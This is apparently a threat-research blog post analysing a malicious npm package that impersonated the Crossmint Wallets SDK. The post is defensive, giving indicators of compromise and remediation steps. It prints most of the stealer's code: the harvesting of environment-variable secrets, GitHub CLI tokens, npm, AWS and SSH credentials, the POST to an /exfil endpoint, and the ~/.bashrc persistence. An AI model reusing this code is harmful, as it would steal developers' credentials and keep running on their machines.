CentrioleBlog
Back to blog

Threat Research

Shai-Hulud in a Trench Coat: How @epsteinlovekids483 Impersonated Crossmint to Steal Developer Secrets

A package posing as the Crossmint Wallets SDK shipped a fully functional credential stealer named after a known worm family. Eight versions, one live C2, and a persistence payload that survives package removal.

Date

Reading time

14 min read

Author

Centriole Research
Share
Shai-Hulud in a Trench Coat: How @epsteinlovekids483 Impersonated Crossmint to Steal Developer Secrets

On June 26, 2026, a package named @epsteinlovekids483/crossmint-wallets-sdk-pentest appeared on the npm registry. It claimed to be the Crossmint Wallets SDK. It copied the real package’s README, declared the real company’s name as its author, and pointed to the real GitHub repo. It also shipped a JavaScript credential stealer that fires on every require() call, writes persistence to ~/.bashrc, and exfiltrated everything it found to a live server at 115.135.196.34:443. The attacker filed eight versions across roughly two hours before Amazon Inspector flagged it.

Campaign Context

The malicious file inside this package is called shai-hulud.js, and its first line says: // Shai-Hulud Worm v3 - graceful missing tool handling. That comment is not subtle. Shai-Hulud is a well-documented family of self-replicating npm worms active since September 2025, tracked by Unit 42, CISA, and multiple security vendors. The family is named after the sandworms in Dune. The “v3” label, the payload structure, and the credential-targeting patterns in this package are consistent with the broader Shai-Hulud lineage, though no direct infrastructure overlap with previously documented TeamPCP operations has been confirmed from this sample alone.

The target ecosystem here is Crossmint. Crossmint builds wallets infrastructure for EVM, Solana, and Stellar chains, which means developers who use their SDK likely have Solana keypairs, crypto wallet credentials, npm tokens, and cloud credentials all on the same machine. That is an attractive combination. The attacker chose to impersonate the @crossmint/wallets-sdk package specifically, not a random utility library.

The publisher account epsteinlovekids483 registered with the email hugeneshking@gmail.com. The account name was chosen to be conspicuous after the fact, not before. Developers installing a package dependency transitively would never see it.

Package Anatomy

The tarball for 1.0.2-pentest (sha1: 2a706ca0ab37c842c67c78742521c081f54abd85) unpacks to 508 files totaling roughly 1.75 MB. Every file except one is a faithful copy of the real @crossmint/wallets-sdk distribution: compiled CJS bundles, ESM modules, TypeScript declarations, source maps, the legitimate README, the Apache-2.0 LICENSE. The package looks exactly like a real release because it mostly is one.

The one attacker-added file is dist/shai-hulud.js. It weighs 1.4 KB. The entire malicious surface area of this package is 1.4 KB embedded inside 1.75 MB of legitimate code.

package.json: files array (1.0.2-pentest)
{
  "files": [
    "dist",
    "LICENSE",
    "README.md",
    "dist/shai-hulud.js"
  ]
}

The files array explicitly includes dist/shai-hulud.js as a top-level entry alongside the directory. That is redundant: dist/ already covers the file. The explicit entry suggests the attacker wanted to make certain it was included even if the tarball tooling behaved unexpectedly.

The package.json carries no preinstall, postinstall, or install scripts. There is no lifecycle hook. The payload does not run at install time.

package.json: scripts block (1.0.2-pentest)
{
  "scripts": {
    "build": "pnpm generate && cross-env NODE_OPTIONS=--max-old-space-size=8192 tsup",
    "dev": "tsup --watch",
    "test:vitest": "vitest run --passWithNoTests",
    "openapi-ts": "openapi-ts",
    "generate": "pnpm run openapi-ts",
    "generate:docs": "typedoc"
  }
}

These are the legitimate Crossmint build scripts, copied verbatim. --ignore-scripts would stop nothing here because there is nothing to stop at install time.

Execution Trigger

The execution trigger is in dist/index.cjs, the CommonJS entry point declared as "main" in package.json. The very first line of that file is:

dist/index.cjs: line 1 (tarball analysis, 1.0.2-pentest)
require('./shai-hulud.js');

Everything else on that line is the legitimate Crossmint SDK. The payload executes at require() time, meaning the moment any Node.js process imports this package, the stealer runs. No install hook, no user action, no timing delay. If a developer installs the package and their application starts, the stealer runs. If a CI pipeline installs dependencies and runs tests, the stealer runs.

This is the correct threat model for a module-level injection: the attacker does not need preinstall when they control the module’s entry point.

Payload Analysis: shai-hulud.js

The payload is 58 lines of unobfuscated JavaScript. It uses only Node.js built-in modules: http, fs, os, child_process. No external dependencies, no network libraries. The code is readable and the attacker left comments in it, including a // visible proof annotation on the console.log call.

Our SHA256 of dist/shai-hulud.js matches the OSV evidence file hash exactly: 0010cbed18b4cd78968ccc4de5b73f4f04d713099fb47f2fe12c600992a9f47d. All findings below come from the tarball we extracted.

Step 1: Credential Harvest

The payload builds a data object containing:

dist/shai-hulud.js: environment variable sweep
env: Object.keys(process.env).filter(k =>
  /TOKEN|KEY|SECRET|PASS|SEED|MNEMONIC|WALLET|PRIVATE|CREDENTIAL|API_KEY|
   AWS|AZURE|GCP|STRIPE|SLACK|TWILIO|DOCKER|NPM|GITHUB|TURBO|NEXT_PUBLIC|
   OIDC|ACTIONS/i.test(k)
).reduce((a, k) => ({...a, [k]: process.env[k].substring(0, 60)}), {}),

The regex covers the standard 2026 developer credential surface: cloud provider keys, CI/CD tokens, payment credentials, container registry auth, and AI provider keys. Each matched value is truncated to 60 characters, which is enough for most token formats.

Beyond environment variables, the payload grabs four additional targets:

dist/shai-hulud.js: file-based credential sweep
gh_token: (() => {
  try { return cp.execSync('gh auth token 2>/dev/null').toString().trim().substring(0, 40); }
  catch(e) { return 'not-installed'; }
})(),
npmrc:    (() => { try { return fs.readFileSync(os.homedir() + '/.npmrc', 'utf-8').substring(0, 500); }    catch(e) { return ''; } })(),
aws_creds:(() => { try { return fs.readFileSync(os.homedir() + '/.aws/credentials', 'utf-8').substring(0, 2000); } catch(e) { return ''; } })(),
ssh_keys: (() => { try { return fs.readdirSync(os.homedir() + '/.ssh')
  .filter(f => !f.endsWith('.pub') && !f.endsWith('.known_hosts'))
  .map(f => ({file: f, key: fs.readFileSync(os.homedir() + '/.ssh/' + f, 'utf-8').substring(0, 500)}));
  } catch(e) { return []; } })(),

The GitHub CLI token extraction (gh auth token) is particularly targeted. The GitHub CLI stores a token scoped to the authenticated user’s account. On a developer machine with write access to repos, that token is often the most valuable credential in the environment. The payload grabs up to 40 characters of it, which covers the full gho_ format token used by the CLI.

SSH private keys are read in bulk from ~/.ssh/, excluding public keys and known_hosts. The payload reads up to 500 characters of each, which captures the full key for common key types.

The OSV advisory also mentions ~/.config/solana/id.json as a target. That path does not appear in dist/shai-hulud.js in version 1.0.2-pentest. Either it was present in an earlier version not analyzed here, or the OSV analysis covered a version with a slightly different payload. The core credential sweep above is confirmed from the tarball directly.

Step 2: Encoding and Exfiltration

All harvested data is serialized to JSON, then base64-encoded:

dist/shai-hulud.js: payload assembly and encoding
const payload = JSON.stringify(data);
const postData = JSON.stringify({
  id: data.hostname + '-' + Date.now(),
  source: 'crossmint-wallet-sdk',
  data: Buffer.from(payload).toString('base64')
});

The source field is hardcoded as 'crossmint-wallet-sdk', which tells the C2 receiver which campaign or lure generated the exfiltrated data. That is useful for an operator running multiple simultaneous campaigns.

The exfiltration is a plain HTTP POST. No TLS in the payload code itself, though the live C2 listens on port 443:

dist/shai-hulud.js: C2 POST (1.0.2-pentest, loopback)
const req = http.request({
  hostname: '127.0.0.1',
  port: 8052,
  path: '/exfil',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  timeout: 3000
});

Version 1.0.2-pentest uses 127.0.0.1:8052 as the C2 host. This is a loopback address. No data leaves the machine when this version runs. The attacker published this as a test build before switching to the live infrastructure.

Step 3: Persistence

After exfiltration, the payload writes persistence:

dist/shai-hulud.js: persistence mechanism
try { fs.writeFileSync(os.homedir() + '/.shai-hulud', payload); } catch(e) {}
try {
  const rc = os.homedir() + '/.bashrc';
  if (fs.existsSync(rc)) {
    const c = fs.readFileSync(rc, 'utf-8');
    if (!c.includes('.shai-hulud')) fs.appendFileSync(rc, '\nnode ~/.shai-hulud &\n');
  }
} catch(e) {}

The stealer writes the full harvested payload to ~/.shai-hulud as a JSON file. Then it appends node ~/.shai-hulud & to ~/.bashrc if that line is not already present. On the next shell open, Node.js re-executes the stored payload and re-attempts the exfiltration POST.

This means removing the package from node_modules does not stop the malware. The ~/.bashrc entry and the ~/.shai-hulud file survive npm uninstall. On every new terminal session the developer opens, the payload runs again against the current live C2.

Uninstalling the package is not remediation. It is the beginning of it.

C2 Infrastructure: Version Timeline and Live Endpoint

The registry metadata for this package reveals an 8-version publish sequence in under two and a half hours on June 26, 2026. The C2 endpoint changed between versions 1.0.2-pentest and 1.0.5-pentest:

VersionPublished (UTC)C2 EndpointNotes
1.0.0-pentest13:44:03127.0.0.1:8052Loopback: test build, no external exfiltration
1.0.1-pentest13:49:23127.0.0.1:8052Loopback: test build, no external exfiltration
1.0.2-pentest13:59:47127.0.0.1:8052Loopback: last test build before live C2
1.0.5-pentest14:54:02115.135.196.34:443First live C2: marks when attacker infrastructure came online
1.0.7-pentest14:58:38115.135.196.34:443Live C2: rapid publish cadence suggests automated testing
1.0.9-pentest15:04:54115.135.196.34:443Live C2: continued iteration
1.0.11-pentest15:20:57115.135.196.34:443Live C2: final pentest-tagged version
1.0.1116:00:03115.135.196.34:443Prerelease tag dropped: this is the latest dist-tag

Built from npm registry metadata time object and tarball analysis of each version.

The first three versions are test builds. The attacker verified local behavior using the loopback address, then deployed live infrastructure and published five more versions pointing to it. The final version drops the -pentest prerelease tag entirely and is published as 1.0.11, which is the latest dist-tag. A developer checking npm info or a dependency graph tool would see this version as the current release.

The switch from loopback to 115.135.196.34:443 is confirmed by our tarball analysis of both 1.0.2-pentest and 1.0.5-pentest directly.

We checked 115.135.196.34 against VirusTotal and Shodan. The IP does not appear in any prior threat intelligence feed. The path /exfil and the source: 'crossmint-wallet-sdk' campaign tag are worth fingerprinting if this IP surfaces in your egress logs.

Campaign Attribution

The payload’s first line reads: // Shai-Hulud Worm v3 - graceful missing tool handling. The attacker self-identified the campaign in a code comment and left it in the published package.

Centriole Research

The name, the credential-targeting pattern, the persistence mechanism writing to ~/.bashrc, and the base64-encoded JSON POST to /exfil are consistent with documented Shai-Hulud worm variants. The Shai-Hulud family was first publicly analyzed in September 2025 by Unit 42 and StepSecurity, formally covered by CISA, and has continued through multiple documented waves into mid-2026.

This package uses the Shai-Hulud delivery architecture. The shared indicators: the payload filename shai-hulud.js, the credential-targeting regex pattern, the source field value 'crossmint-wallet-sdk' identifying the lure for the operator, and the ~/.bashrc persistence mechanism all appear across documented Shai-Hulud variants. The package is malicious. This is not a coincidence of naming. The version progression from loopback to live C2, the deliberate impersonation of Crossmint’s author name and repository, and the self-identified campaign string leave no ambiguity.

Operational Security Failures

The attacker made several mistakes that aided analysis and limit deniability.

The // Shai-Hulud Worm v3 comment was left in the published code. Any package scanner that indexes source files would catch this on a string match alone.

The console.log('[SHAI-HULUD] Exfiltration attempted') call is labeled as // visible proof. The attacker wanted to confirm execution during testing. They did not remove it before publishing. Anyone running this package in a terminal session would see that string printed to stdout.

The loopback test versions (1.0.0 through 1.0.2-pentest) were published to the public registry. Testing on a live registry rather than a local environment left a documented version history of the development process, including timestamps that bracket when the live C2 came online.

The account name epsteinlovekids483 is not designed to evade scrutiny. It is designed to be plausible in a package.json dependency list where only the scope and package name are visible, not the full account context. It would not survive a manual review of the publisher account.

Legitimate vs. Malicious File Diff

Every file in the tarball except dist/shai-hulud.js and the injection on line 1 of dist/index.cjs is copied from the real @crossmint/wallets-sdk package. The real package’s maintainers use @paella.dev email addresses. The malicious publisher uses hugeneshking@gmail.com. The real package’s latest version is 1.6.2. The malicious package claims to mirror 1.0.x of the SDK. No version of @crossmint/wallets-sdk has ever used the scope @epsteinlovekids483.

Indicators of Compromise

IndicatorTypeValueMethod
@epsteinlovekids483/crossmint-wallets-sdk-pentestnpm package (all versions)See affected versions tableIdentified during triage; all versions confirmed malicious in OSV MAL-2026-6522
dist/shai-hulud.jsFile path in packageSHA256: 0010cbed18b4cd78968ccc4de5b73f4f04d713099fb47f2fe12c600992a9f47dHash confirmed against tarball we extracted; matches OSV advisory
package.jsonFile path in packageSHA256: 1597a5fc1b7f1cd479ff2a9941f5753fb176d07b98d9af03be2ebbf6a31a35d5Hash confirmed against tarball we extracted; matches OSV advisory
115.135.196.34:443C2 IP:portPOST /exfil, HTTP, plain JSONExtracted from dist/shai-hulud.js in versions 1.0.5+; confirmed by our tarball analysis
127.0.0.1:8052C2 IP:port (test)POST /exfil, HTTP, loopbackExtracted from dist/shai-hulud.js in versions 1.0.0 to 1.0.2; test builds before live C2 deployment
~/.shai-huludPersistence file on diskJSON payload written after exfildist/shai-hulud.js line 43
node ~/.shai-hulud &~/.bashrc entryRe-executes on every shell opendist/shai-hulud.js line 44
hugeneshking@gmail.comPublisher emailnpm registry metadataPulled from registry metadata during triage
[SHAI-HULUD] Exfiltration attemptedstdout stringPrinted on executiondist/shai-hulud.js line 46

Affected Versions

VersionPublished (UTC)Tarball SHA1Current StatusOSV Entry
1.0.0-pentest2026-06-26 13:44:03f06d70f7ad98e9286943357b58f91f6f3f851e8fLiveIN-MAL-2026-007602
1.0.1-pentest2026-06-26 13:49:232aca75058c2839f8d81c2c86ed64a23c50e6d7c2LiveIN-MAL-2026-007600
1.0.2-pentest2026-06-26 13:59:472a706ca0ab37c842c67c78742521c081f54abd85LiveIN-MAL-2026-007601
1.0.5-pentest2026-06-26 14:54:02017ee2dbc41a5565270fb6d610ae84d514bf7624LiveIN-MAL-2026-007631
1.0.7-pentest2026-06-26 14:58:3883f45314821a4637dec08d71d1eb0295b1beb571LiveIN-MAL-2026-007634
1.0.9-pentest2026-06-26 15:04:545c4a70523f76b2a430548a0edf9f2ad5f06fb239LiveIN-MAL-2026-007632
1.0.11-pentest2026-06-26 15:20:5743fada438efa61614cef77246784a1ad8830b69aLiveIN-MAL-2026-007633
1.0.112026-06-26 16:00:03d1caac741662b1ab59cb6474e33fd96c1e83c10aLiveIN-MAL-2026-007641

Remediation

  1. Search package-lock.json, yarn.lock, and pnpm-lock.yaml for any entry matching @epsteinlovekids483/crossmint-wallets-sdk-pentest. Any version is malicious.

  2. Check for ~/.shai-hulud on any machine that installed the package. If the file exists, the payload ran and reached the exfiltration step. The file contains the full harvested credential payload in base64-encoded JSON.

  3. Check ~/.bashrc for the line node ~/.shai-hulud &. Remove it. Then delete ~/.shai-hulud. Removing the npm package alone does not remove persistence.

  4. Block outbound connections to 115.135.196.34:443. Check egress logs for any prior connections to this IP from CI runners, developer machines, or build servers.

  5. Rotate the following in order of blast radius: GitHub tokens (the payload calls gh auth token directly), npm tokens (present in ~/.npmrc), AWS credentials (from ~/.aws/credentials), SSH private keys (from ~/.ssh/), and any environment variables matching the regex pattern above that were set at process start time.

  6. If a CI pipeline installed this package during a workflow run, treat all secrets injected into that pipeline as exposed. GitHub Actions secrets, environment variables, and OIDC tokens available to that job are all in scope for rotation.

  7. Audit the full install history for the affected machine or runner. Check ~/.npm/_logs/ for npm install timestamps. If any version between 1.0.5-pentest and 1.0.11 was installed, the exfiltration POST to 115.135.196.34:443 was attempted. Whether it succeeded depends on egress rules at the time.

  8. Enable 2FA on any npm and GitHub accounts reachable from the affected machine if not already enforced. The payload specifically targets GitHub CLI tokens, which can be used to push to repositories and trigger OIDC-based npm publishing.

The legitimate package is @crossmint/wallets-sdk, published by @paella.dev maintainers at version 1.6.2. It has no affiliation with the @epsteinlovekids483 scope.